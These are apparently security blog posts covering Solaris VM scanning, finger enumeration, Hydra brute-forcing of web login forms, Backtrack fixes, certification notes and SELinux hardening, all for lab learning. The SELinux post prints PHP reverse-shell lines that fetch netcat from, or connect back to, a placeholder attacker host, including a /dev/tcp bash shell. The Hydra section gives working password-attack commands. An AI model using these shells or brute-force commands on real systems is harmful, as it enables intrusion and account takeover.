Practicing scanning and basic enumeration skills with a Solaris VM

I'm pretty comfortable hacking-around with Linux, Windows and Macs, but one of the platforms I have not used much (so far) is Solaris.

I love learning new things, so this seemed like a gap worth filling, especially as I am looking to take the Check CRT certification (in which Solaris/Oracle are a small part of the syllabus).

I had a bit of a play with OpenSolaris a while back, which gave me a flavor of some of the differences between Linux an Solaris (incidentally the OpenSolaris project seems to be stalled/ending?).

Anyway, I thought I would download the Solaris/Oracle VMs from from the following location and have a play (starting with some basic scanning):

http://www.oracle.com/technetwork/server-storage/solaris/solaris-vm-405695.html

(You need to register with Oracle to download these images)


Setting up a Solaris box

Once the Solaris10_9-10_VM.zip image is downloaded, unpack it with:

unzip Solaris10_9-10_VM.zip

Start VirtualBox, and import the appliance with:

File > Import > select the *.ovf file (and follow the rest of the menu)

Once this is imported you can start the VM and you will get to the following Solaris setup menu.

(Use F2 and F4 to continue through the menus)

Work through these menus, and in around 20 minutes you will be able to login, and will have a working Solaris system:

(Mmmm... lovely; dull grey and purple)

Managing services

Solaris services are managed differently from services in Linux, by using the "svcadm" tool.
So to go ahead and setup some extra services and scan the system:

To set up an apache webserver:

cd /etc/apache2
cp httpd.conf-example httpd.conf

svcadm -v enable /network/http:apache2

.. and check it's running:

svcs -p /network/http:apache2
STATE          STIME    FMRI
online         10:51:52 svc:/network/http:apache2
               10:51:52     1991 httpd
               10:51:53     1992 httpd
               10:51:53     1993 httpd
               10:51:53     1994 httpd
               10:51:53     1995 httpd
               10:51:53     1996 httpd

Let's also start some other (unnecessary and potentially insecure) services, to expand our target a bit:

svcadm enable network/telnet
svcadm enable network/ftp
svcadm enable network/finger


Scanning with nmap

First lets try a basic scan:


nmap 192.168.1.69


Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-08-29 19:28 BST
Nmap scan report for 192.168.1.69
Host is up (0.00052s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
23/tcp  open  telnet
79/tcp  open  finger
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 08:00:27:33:49:19 (Cadmus Computer Systems)


Nmap done: 1 IP address (1 host up) scanned in 27.71 seconds


So we can see the services I added there, also it looks like ssh (and rpcbind) had been enabled by default.

Now for a more thorough scan using the NSE scripts


nmap --script all 192.168.1.69


Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-08-29 19:23 BST
Nmap scan report for 192.168.1.69
Host is up (0.0010s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
|_ftp-bounce: no banner
22/tcp  open  ssh
|_banner: SSH-2.0-Sun_SSH_1.1.3
| ssh-hostkey: 1024 78:af:4e:c7:67:0e:18:9b:da:77:c4:6d:c0:a7:1b:7d (DSA)
|_1024 a5:92:ed:16:f5:fc:26:8b:18:d4:5e:b5:9d:0c:21:3b (RSA)
23/tcp  open  telnet
79/tcp  open  finger
80/tcp  open  http
| http-brute:   
|_  ERROR: No path was specified (see http-brute.path)
|_citrix-brute-xml: FAILED: No domain specified (use ntdomain argument)
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-trace: TRACE is enabled
|_http-date: Mon, 29 Aug 2011 18:24:32 GMT; +1s from local time.
| http-headers: 
|   Date: Mon, 29 Aug 2011 18:24:34 GMT
|   Server: Apache/2.0.63 (Unix) DAV/2
|   Content-Location: index.html.en
|   Vary: negotiate,accept-language,accept-charset
|   TCN: choice
|   Last-Modified: Sun, 21 Nov 2004 14:35:21 GMT
|   ETag: "4614-5b0-a64a7c40;462a-961-a64a7c40"
|   Accept-Ranges: bytes
|   Content-Length: 1456
|   Connection: close
|   Content-Type: text/html
|   Content-Language: en
|   
|_  (Request type: HEAD)
| http-form-brute: 
|_  ERROR: No passvar was specified (see http-form-brute.passvar)
|_http-title: Test Page for Apache Installation
|_http-wp-plugins: nothing found amongst the 100 most popular plugins, use --script-arg http-wp-plugins.search= for deeper analysis)
| http-domino-enum-passwords:   
|_  ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)
111/tcp open  rpcbind
MAC Address: 08:00:27:33:49:19 (Cadmus Computer Systems)


Host script results:
|_dns-brute: Can't guess domain of "192.168.1.69"; use dns-brute.domain script argument.
|_path-mtu: PMTU == 1500
|_ipidseq: Unknown
| qscan: 
| PORT  FAMILY  MEAN (us)  STDDEV   LOSS (%)
| 1     0       732.20     508.23   0.0%
| 21    0       1143.80    853.92   0.0%
| 22    1       1236.80    734.74   0.0%
| 23    1       1248.10    782.83   0.0%
| 79    0       1065.30    794.20   0.0%
| 80    1       1297.50    742.94   0.0%
|_111   1       1577.30    1092.91  0.0%


Nmap done: 1 IP address (1 host up) scanned in 118.38 seconds

That didn't find a great deal extra except that the TRACE option is also enabled, which means that XST (cross-site tracing, a client-side attack) is potentially possible against old browser versions (though this attack is no-longer possible against the majority of modern browsers).

The SSH banner also reveals that we have a Solaris system.

Scanning with Nikto

We can scan the webserver with Nikto using the following command:

./nikto.pl -host 192.168.1.69

- Nikto v2.1.4                                                                                                                                                                                                                    

---------------------------------------------------------------------------                                                                                                                                                      

+ Target IP:          192.168.1.69                                                                                                                                                                                                

+ Target Hostname:    192.168.1.69                                                                                                                                                                                                

+ Target Port:        80                                                                                                                                                                                                          

+ Start Time:         2011-08-30 19:59:48                                                                                                                                                                                        

---------------------------------------------------------------------------                                                                                                                                                      

+ Server: Apache/2.0.63 (Unix) DAV/2                                                                                                                                                                                              

+ Apache/2.0.63 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.                                                                                           

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE                                                                                                                                                                          

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST                                                                                                                                                

+ OSVDB-2117: /: Appears to be a default Apache install.                                                                                                                                                                          

+ OSVDB-3092: /manual/: Web server manual found.                                                                                                                                                                                  

+ OSVDB-3233: /index.html.ca: Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.

... etc ...

+ OSVDB-3233: /index.html.var: Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information.

+ OSVDB-3233: /cgi-bin/printenv: Apache 2.0 default script is executable and gives server environment variables. All default scripts should be removed. It may also allow XSS types of attacks. http://www.securityfocus.com/bid/4431.

+ OSVDB-3233: /cgi-bin/test-cgi: Apache 2.0 default script is executable and reveals system information. All default scripts should be removed.

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3268: /manual/images/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 6448 items checked: 2 error(s) and 36 item(s) reported on remote host

+ End Time:           2011-08-30 20:01:05 (77 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

As you can see, there is various default content there from my Apache install (this should all be removed in a production website, to prevent attackers from gaining extra information. Additionally we can see that we have an old version of Apache.

Scanning with Nessus

Now for a scan with Nessus to see what that can see:

In the Nessus report, there is a "High Severity" Denial of Service vulnerability for Apache.

This is a fairly recent exploit that many sites and services are currently vulnerable to. More information on this vulnerability is available at the following location:

http://archives.neohapsis.com/archives/fulldisclosure/2011-08/0203.html

Also, there are various information disclosure issues from the other running services (FTP, Telnet, Finger, SSH) which give us OS and service versions, and username information.


Finger and fingerd enumeration with a basic "for" loop

Nobody installs fingerd these days if they want to be secure (but hey, I trying to make the target bigger and practice some enumeration).

Nessus found the user root using finger, but is is also possible to find other accounts. This version of the finger daemon searches the user description in addition to the username, so you can also find users via words in the description as well.

Here is how to install the finger client on Backtrack and run a couple of different queries:

apt-get install finger


finger root@192.168.1.69
[192.168.1.69]
Login       Name               TTY         Idle    When    Where
root     Super-User            console        2 Mon 07:55  :0                  
root     Super-User            pts/3          2 Mon 08:29  :0.0                

finger user@192.168.1.69

[192.168.1.69]

Login       Name               TTY         Idle    When    Where
nobody   NFS Anonymous Access               < .  .  .  . >
noaccess No Access User                     < .  .  .  . >
nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >


So, if there were other users on the system, we could try a dictionary attack to find them using finger in a "for" loop.

Given a list of names in "usernames.txt", we can use the following commandline for loop to iterate through them, and strip out anything found, dumping it to a file:

for name in $(cat usernames.txt); do finger $name@192.168.1.69 | awk 'NR!=1 && NR!=2' | grep -v ??? | cut -d " " -f1 | sort -u >> foundnames.txt; done

cat foundnames.txt | sort -u

adm

gdm

listen

lp

noaccess

nobody

nobody4

nuucp

postgres

root

smmsp

svctag

uucp

webservd

This could be a useful enumeration, which might make a dictionary attack against SSH (for example) a lot quicker.

Setting up Nessus in Backtrack 5 R1

In an earlier post I described how to setup Nessus on Backtrack 5:

http://insidetrust.blogspot.com/2011/05/easy-nessus-scan-for-beginner-with.html

For some reason, BT 5 R1 does not come with Nessus installed by default, but it's easy to download and install.

You will need to download Nessus from the following location:

http://www.tenable.com/products/nessus/select-your-operating-system

(I used the Debian 64 bit package)

Then install it with the following command:

dpkg -i Nessus-4.4.1-debian5_amd64.deb

Then you can simply follow the rest of the instructions in my original post.

Update - Of course, there is an easier way to do this ;o)

apt-get install nessus

How good is your browser security?

So, if you are reading this blog, you are probably interested in IT security (or insecurity, otherwise you are in the wrong place).

Is your browser secure?

This is a great resource for testing browser security:

https://browsercheck.qualys.com/

Run the above test on each of the browsers on your system (IE, Firefox, Chrome etc)

If all is well you should get a screen which looks something like this:

 

If you get a red bar, you are not up-to-date, and probably not fully secure for browsing. If this is the case then I recommend you should to follow the on-screen instructions to get this fixed.

I would be interested to see how many people pass on the first attempt, and what measures others needed to take to get up-to-date.

For me, I run Backtrack 5 R1 (Linux), I needed to update Firefox, and the flash-plugin.

I have added explanations of how to upgrade to Firefox 6.x and also update the Flash plugin in my "Backtrack 5 R1 notes" at the following location:

http://insidetrust.blogspot.com/2011/08/backtrack-5-r1-some-things-fixed-some.html

I recommend anyone who is using Backtrack 5 R1 to apply the updates to help make their system more secure.

I also run chrome on this system, and my chrome status looks like this (Shockwave Flash 11.0 is currently pre-release)

GIAC Web Application Penetration Tester (GWAPT)

I took and passed the GIAC Web Application Penetration Tester (GWAPT) exam today, so I thought I would write something about it (and the SANS course that supports it).

The SANS "Web Application Penetration Testing and Ethical Hacking" course coverage

I had taken the SANS "on-demand" online version of their Web Application Penetration Testing course. I felt the online version of the course is a great format, because it gives you plenty of time to absorb the material and experiment in your own time.

I had previously read the excellent book Web Application Hackers Handbook (which I would highly recommend, before considering the SANS course). There were a few key things on the SANS course that are not covered in that book (and vice versa)

On reflection, this course covers quite a lot of ground. It has the basics of various common attack vectors (such as SQL injection and XSS) but it goes beyond the norm in some areas (though some other attacks and detail seem to be missing).

Additionally to what is covered in the WAHH book, the SANS course covers subject areas such as:

Decomposition and basic analysis of Java applets and Flash objects
Understanding AJAX
Various tools for spidering, and Web app vulnerability scanning
Exploitation frameworks

Most notably, the SANS course covers the basics of a lot of different tools for web-app security testing, including:

Burpsuite, Webscarab, Paros, Dirbuster, Skipfish, W3af, Tamperdata, SQLinjectMe, Sqlmap, Grendel-scan, Nikto, Aura, SiteDigger, Wikto, Goolag Scanner, Maltego, Nmap,  HTTPrint,  OpenSSL, THC SSL Check, CeWL, SprAJAX, RatProxy, WebService Studio, WSDigger, WSFuzzer, Flare, HP SWFscan, SWFIntruder, JAD, Websecurify, XSS Me, GreaseMonkey, XSS Assistant, PostInterpreter, Absinthe, MonkeyFist, BeEF, Dursosploit, AttackAPI

This is a lot of coverage, though obviously in many cases we are talking about the bare minimum of one slide of notes per tool (you will need to do a lot of your own practice and research to get to know these tools properly).

Though I didn't feel the SANS audio track was as good as it could have been, the course notes and lab examples are good (if you complete them all a couple of times, and do some extra experimentation).

In addition, I did a lot of my own testing with the Web Security Dojo, and some Virtual Appliance UI research in my home lab - which I feel helped me a lot with understanding how to use some of the tools more effectively.


Notes for GWAPT test-takers

This is an open-book exam, which was a new thing for me. I would definitely recommend test-takers to study the SANS course thouroughly, and take there course material with them, because the exam sticks very closely to the SANS course material.

Also, make sure you know which information is in which section of the course material, i.e. know where you would find information on SQL injection syntax, or PHP functions, or HTTP response codes (as examples).

In terms of practice, the certification exam is similar to (but not as easy as) the example tests provided by GIAC. I would also recommend reading the course material a couple of times, completing all the course practicals, and doing extra practice with the tools, such as completing the Web Security Dojo (or Web Goat at the very least).

Backtrack 5 R1 - Some things fixed, some things broken + workarounds

Sometimes installing the latest releases is a good thing. You get to learn lots of new technology, and improve your understanding and troubleshooting skills at the same time.

However, there is a cost in time, tweaking and fixing things, and learning new ways to do the same things you used to do. Today Backtrack 5 R1 is only 3 days after release, so there are bound to be some issues.


Pluses and minuses

Some things seem to work a lot better (for example I had none of my usual issues with graphics drivers, that I often get during a Backtrack install)

However, some tools that were previously working fine seem to be broken (at least on the BT5 R1 KDE 64-bit version that I am currently looking at).


Problems I have seen so far (and workarounds/fixes):


Wireshark not working

Wireshark won't run - I got the following error:

wireshark: error while loading shared libraries: libwsutil.so.0: cannot open shared object file: No such file or director

The Backtrack development team are aware of this, and currently in the process of developing a fix.

Fix = Rebuild wireshark from source

Workaround = Copy the following files, which fixes the problem:

cp /usr/local/lib/libwsutil.so.1 /usr/lib/libwsutil.so.0
cp /usr/local/lib/libwiretap.so.1 /usr/lib/libwiretap.so.0



Nessus is missing

Fix = Follow the instructions to download and install it here:

http://insidetrust.blogspot.com/2011/08/setting-up-nessus-in-backtrack-5-r1.html


VMware Player not working

VMware Player will install, but not compile and run - with the following errors in "/tmp/vmware-root/setup-*.log":

Failed to compile module vmmon

This is pretty essential for my home lab - probably more an issue that VMware need to fix, to make VMware Player work with the latest Linux Kernel.

Workaround = Use Oracle VirtualBox

Download the "Ubuntu 10.04 LTS" version from here: http://www.virtualbox.org/wiki/Linux_Downloads

Run the following command to install it:

dpkg -i virtualbox-4.1_4.1.2-73507~Ubuntu~lucid_amd64.deb

If you already have VMware VMs, make a copy of these, and for each - in VirtualBox, add new machines, and select the *.vmdk files when you come to add the disk.

This seems to work pretty well, and has more or less the same features as VMware Player.

(Guess which VM is the victim ;o)

Workaround2 = See comment from Anonymous below (untested at this time)


Grendel-scan not working

Grendel-scan throws the following Java exception:

Exception in thread "main" java.lang.UnsatisfiedLinkError: no swt-gtk-3349 or swt-gtk in swt.library.path, java.library.path or the jar file

TBD - I guess I can get along without this for a while.


Mozilla Firefox not up-to-date

Firefox is not the latest version (which could potentially be a security risk).

Fix = Run the firefox built-in updater (to upgrade to Firefox 6.x)

• In firefox, go to Help > About
• Click on "Check for updates"
• Click on "Apply updates"
• Follow the instructions (this will require a restart of firefox)
• Follow the instructions to update the version of no-script

Installing flash player for Chrome and Firefox

Flash plugins are missing for Chrome and Firefox.

Workaround = Add the executable in the correct directories

First download the kits at the following locations:

http://labs.adobe.com/technologies/flashplatformruntimes/flashplayer11/
http://get.adobe.com/flashplayer/?no_redirect

Close both Chrome and Firefox and then do the following:

cd ~/Download

tar xvfz  flashplayer11_b2_install_lin_64_080811.tar.gz

chown root:root libflashplayer.so
chmod 0644 libflashplayer.so
cp -f libflashplayer.so /usr/lib/mozilla/plugins/
rm -rf libflashplayer.so

tar xvfz install_flash_player_10_linux.tar.gz
mkdir ~/.mozilla/plugins
chown root:root libflashplayer.so
chmod 0644 libflashplayer.so
mv -f libflashplayer.so ~/.mozilla/plugins/

Restart the browsers and this should fix it


Crash issue

I did have an issue where I think it went into screen-save mode where the system seemed to go into a graphics-card test screen and completely lock-up (?! not sure on this one).

Not seen this since


Suspend to disk causes failure to boot

Yeah, this one is not much fun, seems persistent and I'm currently troubleshooting it... Hangs on red BT5 boot-loader screen.

Workaround = Not sure, I re-installed my system, and have not seen the issue since. Weird.


(I will add issues and workarounds as I find them in this post)

Using Hydra to dictionary-attack web-based login forms

Hydra is a online password cracking tool which can be used to dictionary-attack various services by trying lists of user-names and passwords until a successful login is found. It is multi-threaded, and can be very fast, trying username/password combinations at a rate of thousands per minute.

Hydra can be used to attack many different services including IMAP, SMB, HTTP, VNC, MS-SQL MySQL, SMTP, SSH, and many more.

(Hydra is to online-cracking of passwords, what John The Ripper is to offline-cracking of password hashes)

Often, web-based login forms authenticate using the HTTP POST method, but judging from several blogs I have read on this subject, it sounds like some people have great difficulty in getting Hydra to work effectively in this situation.

I have had a great deal of success with hydra, so here I describe how to get Hydra working with web-based form logins.

This attack is not limited to websites, and I would argue that it is more suited for gaining login access to software products that have a web UI, for example in penetration tests.

This tool should not be used to attack websites or services where you do not have permission to do so. Use this for legitimate testing purposes only.


Some differences between online and off-line password cracking

There are significant differences between online and off-line password cracking.

With off-line cracking, you have the hashes on your system, they are static, and you can try dictionary, hybrid, and brute force attacks to you hearts content. You have as long as you want, and you can try many billions of attempts in a short space of time.

The attack success is purely dependent on password strength, verses processor-power and time (and few user-chosen passwords will be strong enough to last).

With online password attacks there are more issues to consider, such as; network bandwidth, account lockouts, tar-pitting, changing passwords, detection in logs and IDS.

Online attacks are more suited to relatively small and focused dictionary attacks rather than exhaustive brute-force.


A simple Hydra SSH example

Here is a simple example of running a Hydra attack against an SSH server.

hydra 192.168.1.26 ssh2 -s 22 -P pass.txt -L users.txt -e ns -t 10

This will attack the system 192.1.68.1.26, on port 22 with the SSH protocol, 10 threads at a time, and try all the combinations of usernames and passwords supplied in the files user.txt and pass.txt (+ empty passwords and passwords the same as the username)

This can take a while, so it is best to only use usernames you know exist, and a relatively small list of passwords (many thousands rather than many millions). This attack generally works very well for simple dictionary passwords.


Web-based login forms prerequisites

For web-based forms, you have to know much more information about the form you are attacking before you start the attack. Every web-based form is slightly different, different URLs and parameters, and different responses for success or failure.

You need to know:

• The hostname/IP and URL
• Whether it is a HTTPS or HTTP service
• Whether the form supports GET or POST (or both)
• The parameters of the request
• The difference in response between success and failure
• Whether any session cookies are required to be set or maintained
• What lockout features and thresholds are enabled (if any)

Not knowing or understanding the above information can be a big cause of failure.

For the parameters of the request, you can intercept and examine a normal login attempt with a web proxy (such as owasp-zap, webscarab or burpsuite) or use a browser plugin (such as tamperdata) or just look at the HTML form.


An example attack

The Web Security Dojo VM has various vulnerable applications that you can use to test these techniques. So looking at an example the w3af testing framework has a test login at the following location

http://192.168.1.69/w3af/bruteforce/form_login/

The important parts of the HTML form are:

<form name="input" action="dataReceptor.php" method="post">
Username:
<input type="text" name="user">


Password:
<input type="password" name="pass">

If we put in one wrong username and password combination we get:

Bad login, stop bruteforcing me!Bad u/p combination for user: a

So, now we have the information we need to attack this login form, we can use this info to construct a Hydra brute-force attack as follows:

hydra 192.168.1.69 http-form-post "/w3af/bruteforce/form_login/dataReceptor.php:user=^USER^&pass=^PASS^:Bad login" -L users.txt -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt


If we break this up

Host = 192.168.1.69
Method = http-form-post
URL = /w3af/bruteforce/form_login/dataReceptor.php
Form parameters = user=^USER^&pass=^PASS^
Failure response = Bad login
Users file = users.txt
Password file = pass.txt
Threads = -t 10
Wait for timeout = -w 30
Output file = -o hydra-http-post-attack.txt

Hydra basically iterates through all the username/password combinations, until it gets a response that does not contain the text "Bad login". When we run this attack we get:

Hydra v6.5 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2011-08-22 13:11:03
[DATA] 5 tasks, 1 servers, 5 login tries (l:5/p:1), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for 192.168.1.69 (waiting for children to finish)
[80][www-form] host: 192.168.1.69   login: admin   password: 1234
Hydra (http://www.thc.org/thc-hydra) finished at 2011-08-22 13:11:07

As you can see, this was successful and found the user "admin" with password "1234".


Other examples

HTTPS forms can be brute-forced in exactly the same way by changing the method to "https-form-post".

Similarly there are the GET equivalents, of "http-get-form" and "https-get-form", though this type of method is really not recommended for web-based login forms (due to confidential information being passed in the URL, which can appear in proxy-logs, and browser history). Some forms do exist out there that use this.

Sometimes you need to look for text that appears meaning "success" rather than the absence of text meaning "failure". This can be done if you put "S=" in front of the failure string variable, it becomes a success string check, for example

"/login.php:user=^USER^&pass=^PASS^:S=successful"

Remember that the "failure" or "success" string does not have to be part of the HTML of the page. These strings could be information in the response headers, such as cookies being set, or locations of redirects. There are flexible options for dealing with pretty much any type of response, as long as it is repeatable, and there are distinct differences between success and failure.

Other more complex examples may be where you need to specify particular header values, or use an additional page to obtain set browser cookies before the form is submitted. These can be done by adding the additional parameters "C=" and "H=" on the end:

"/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo"

All in all, this is a pretty straight forward, and a very effective tool, as long as you understand how the form is working, and what parameters are required, before you start the attack.

A few other tips for Backtrack 5 graphics drivers issues, and software installs

Having rebuilt my main BT5 laptop again today, here are some tips I can share for anyone else who has the same needs (and to hopefully this will help make it quicker for me if I want to rebuild the same setup again)

I already made some suggestions for my Desktop system (when I installed that with Backtrack 5) but that covered Nvidia graphics drivers, and other software installs:

http://insidetrust.blogspot.com/2011/05/overcoming-problems-installing.html

I'm currently using BT5 KDE 64-bit on a Dell Inspiron 17R 7010 - This has a nice big screen, which is useful for virtual hosts etc...

Anyway, the reason for the rebuild was that; initially a kernel update (2.6.39.4) stopped various packages from working. So I thought I would try out BT5 R1 KDE 64-bit, but then after an abortive install of R1, I've gone back to my previous stable setup (I haven't got to the bottom of the kernel and R1 issues yet, maybe more on that next time)

So, after a standard install of BT5...


Intel graphics drivers

My laptop has Intel graphics drivers and initially "startx" would result in a black screen, and lockup with no errors. I got a solution previously speaking to some of the folks on the #backtrack-linux IRC channel a while back (I couldn't remember it exactly, but I figured it out for myself this time, but thanks to a_landim_xhkl and _ope_ for the original feedback).

A basic way to get the Intel graphics driver working is to reconfigure /boot/grub/grub.cfg , but this needs to be done via the template files and grub config builder.

You need to edit the file /etc/default/grub and added the Intel option (back it up first)

cp /etc/default/grub /etc/default/grub.old

... then edit the following line adding the options in red:

GRUB_CMDLINE_LINUX="text splash vga=791 i915.modeset=1"

Then rebuild the grub config and reboot:

grub-mkconfig -o /boot/grub/grub.cfg

init 6

The BT5 KDE 64-bit gotcha

We're not out of the woods yet for KDE, but this one has been mentioned over and over in various places - this is the known issue where KDE crashes out after the first Chinese symbol on the red starting screen.

If you are using BT5 KDE 64-bit you will likely need to do the following before you can run startx

rm /root/.kde/cache-root/icon-cache.kcache
rm /root/.kde/cache-root/plasma_theme_Volatile.kcache
rm /root/.kde/cache-bt/icon-cache.kcache
rm /root/.kde/cache-bt/plasma_theme_Volatile.kcache
rm -rf /var/tmp/kdecache-root

After that KDE starts fine, now to install some extra stuff...


Installing and running VMware Player

Download VMware Player

http://downloads.vmware.com/d/details/player_314/ZGp0YnR0KnRiZGh0QA==

Then you need the kernel sources in order to install and run VMware Player. Run the following (and go do something else while it does it's thing)

prepare-kernel-sources

Then run the install, and this should work fine

./VMware-Player-3.1.4-385536.x86_64.bundle


Installing and running Google Chrome

Download the latest 64 bit Google Chrome build and then do:

dpkg -i ./google-chrome-stable_current_amd64.deb

You may get a complaint about running this as root, so either create an account for browsing, or start the browser with the following command

/opt/google/chrome/google-chrome %U --user-data-dir

(I've seen some ridiculously complex suggested ways of doing this, such as hex-editing binaries, the above seems like the easiest by far)

You can either run this from the command line, or easier still, change the shortcut command to the above. This works very well as of Chrome version 13.0.782.215.

I've passed the OCSE (Offensive Security Certified Expert) exam

I didn't blog much last month, as I have been researching and studying hard.

Anyway, I am pleased to announce that I have passed the Offensive Security Certified Expert exam (OSCE), which is the certification for the "Cracking The Perimeter" course I took earlier this year.

This is a monster 48 hour exam (+24 hours for documentation). It covers techniques such as advanced web attacks, vulnerability discovery, exploit development, custom payload creation, detection avoidance, and advanced network attacks.

It's pretty specialized stuff (you have to pass a hacking challenge to even register for the course, and trust me, if you can't pass that challenge, you are definitely not ready ;o)

The CTP course was great, though I would say that anyone attempting the OCSE certification needs to do a lot of extra practice and study, to get to the level where they can creatively and confidently exploit various different types of systems and applications (especially some exploit-development research) before they take the exam.

It's definitely one of the most challenging certifications I have done (I have done quite a few recently) - and I feel that my skill levels have shot up as a result.

My next plans are
1) Continuing my research project
2) Taking the GWAPT exam
3) Crest CHECK Certification (which seems to be very important for pen-testing jobs in the UK)

Webserver defense-in-depth - Hackers vs SELinux and restricted accounts

Web attacks are often a first phase of an attack against internet-facing Linux servers. However, these days unless a system is very badly configured, internet-facing services are usually run with a service account that has very limited rights, such as "apache".

This has a huge security benefit as part of a defense-in-depth policy. Having this limited service account means that, even if vulnerabilities are found in the website, attackers can be prevented from escalating privileges and gaining complete control of the system.

If you are currently running internet-facing services as root you should REALLY look at this issue and do something about it, because in this situation a single common website vulnerability could lead an attacker quickly to full system compromise. Game over.

Having said this, let's look at some of the other components for defense-in-depth of web-servers.

This information is intended for educational purposes. It is important to understand these issues if you design or maintain systems, but please only test in your own test environment.

Let's work with an example

Say a company is running a web-server that contains website vulnerabilities that they are unaware of.

However, on the plus side, say their web-server is running as "apache", and their platform is the latest RedHat Linux 5.6 (with up-to-date patches)

If an attacker could use the website vulnerabilities to introduce server-side code, they may aim to get a reverse-shell with some PHP code like this example:

echo shell_exec('wget http://-attackersip-/nc -O /tmp/nc');

echo shell_exec('chmod +x /tmp/nc');

echo shell_exec('/tmp/nc -attackersip- -attackersport- -e /bin/bash');


If they can write this code to somewhere and run it from the web-server this would effectively upload the netcat tool from the attackers system to the web-server, and use it to connect back to the attacker giving them a command shell in the context of the web-server account. (good job the web-server was not running as root!)

The attacker would get a reverse shell, as apache, which they would then need to find a way to escalate (either by a kernel exploit, or some other local privilege escalation exploit).

This may take them some time, and they may be detected whilst they try to do this.

(It's a maybe, but if the manage it they can then cover their tracks.)


A more secure platform - with SELinux

OK, so lets say that the web-server is running as "apache", the system is RedHat Linux 5.6 (with up-to-date patches), and SELinux is enabled, with the default security configurations.

SELinux can prevent running of files and services. This can be pretty confusing for an attacker who is not familiar with SELinux because although they may get some limited control, most of their commands will fail for no apparent reason.

This can stop the previous netcat shell example from working, because netcat is trying to make an outbound connection to the attacker as "apache".



Working around SELinux

To work around this above shell issue an attacker can use a netcat-less shell technique, to get a command shell. (again, this is PHP)

echo shell_exec('cd /tmp && exec /bin/bash 0</dev/tcp/-attackersip-/-attackersport- 1>&0 2>&0 &');


This shell technique has several advantages:

• It provides a reasonably useable command shell
• It does not require any code to be uploaded to the victim server
• It bypasses SELinux in most situations
• It works on most versions of Linux, and even Mac OSX or Solaris!
• The shell, file ("0"), and directory may need to be changed depending on availability (The directory and file "0" must be writable).

More SELinux problems for the attacker

So, let's say that the attacker manages to get a reverse-shell as the "apache" user. All is not lost because this shell is very limited, firstly by the rights of apache, and secondly by SELinux.

The attacker is limited to the type of commands they can run, and what they can see. They are in a jail, and they are trying to dig their way out...


What can the attacker do?

If some commands are possible for the attacker he will try to enumerate his way around the operating system, looking for holes.


Oddly, on RedHat (or Centos) as of 4.8 or 5.6, even though "/bin/ls" is blocked by SELinux by default "/usr/bin/dir" is not.

So whilst an attacker can't do:

/bin/ls -al /tmp

The can do:

/usr/bin/dir -al /tmp

However "dir" is more limited than "ls" and does not give the file-ownership and rights for files "apache" does not own. It can enable an attacker to enumerate files and directories (rather than fumbling their way around in the dark) so the attacker can continue to enumerate the system.

Also, with SELinux, both "ls" and "dir" support the -Z option, which shows the SELinux context for files and directories. (However note that; each of the lines with a "?" will trigger an SELinux alert)


dir -alZ
drwxrwxrwt  root   root   system_u:object_r:tmp_t:s0       .
drwxr-xr-x  root   root   system_u:object_r:root_t:s0      ..
?---------  ?      ?                                       .ICE-unix
?---------  ?      ?                                       .X0-lock
?---------  ?      ?                                       .X11-unix
?---------  ?      ?                                       .font-unix
?---------  ?      ?                                       .gdm_socket
?---------  ?      ?                                       VMwareDnD
drwxr-xr-x  apache apache root:object_r:tmp_t:s0           enlightenment
drwx------  centos centos user_u:object_r:tmp_t:s0         gconfd-centos
drwx------  root   root   root:object_r:tmp_t:s0           gconfd-root
?---------  ?      ?                                       ks-script-6qJjjE
?---------  ?      ?                                       ks-script-6qJjjE.log
?---------  ?      ?                                       libno_ex.so.1.0
?---------  ?      ?                                       mapping-centos
?---------  ?      ?                                       mapping-root
-rwxr-xr-x  apache apache root:object_r:httpd_tmp_t:s0     nc
drwx------  centos centos user_u:object_r:tmp_t:s0         vmware-centos
?---------  ?      ?                                       vmware-root

The attacker can confirm if SELinux is enabled, by running:

sestatus -v

SELinux status:                 enabled
SELinuxfs mount:                /selinux
Current mode:                   unknown (Permission denied)
Mode from config file:          error (Permission denied)
Policy version:                 unknown (Permission denied)
Policy from config file:        targeted

Process contexts:
Current context:                system_u:system_r:httpd_t:s0
Init context:                   unknown (Permission denied)

File contexts:
Controlling term:               unknown (Bad address)
/etc/passwd                     system_u:object_r:etc_t:s0
/bin/bash                       system_u:object_r:shell_exec_t:s0
/bin/sh                         system_u:object_r:bin_t:s0 -> system_u:object_r:shell_exec_t:s0
/lib/libc.so.6                  system_u:object_r:lib_t:s0 -> system_u:object_r:lib_t:s0
/lib/ld-linux.so.2              system_u:object_r:lib_t:s0 -> system_u:object_r:ld_so_t:s0

There are often lots of anomalies in SELinux policies, which can help an attacker get a bigger foothold on a system.

On RedHat 5.6 for example, by default the attacker can also use several other useful commands such as:

uname -a
Linux localhost.localdomain 2.6.18-238.12.1.el5 #1 SMP Tue May 31 13:23:01 EDT 2011 i686 athlon i386 GNU/Linux

..in order to enumerate the system version and kernel - before attempting kernel exploits.

The attacker can use "wget", or "echo", and "chmod" to write executable files into a directory such as "/tmp/".


Also, in my tests I could use gcc to compile source code for exploits on the system. For example:

cd /tmp

wget http://-attackersip-/exploit.c

gcc exploit.c -o exploit

./exploit

Unchecked, it is likely that a highly skilled attacker will eventually find a privilege escalation exploit that works.

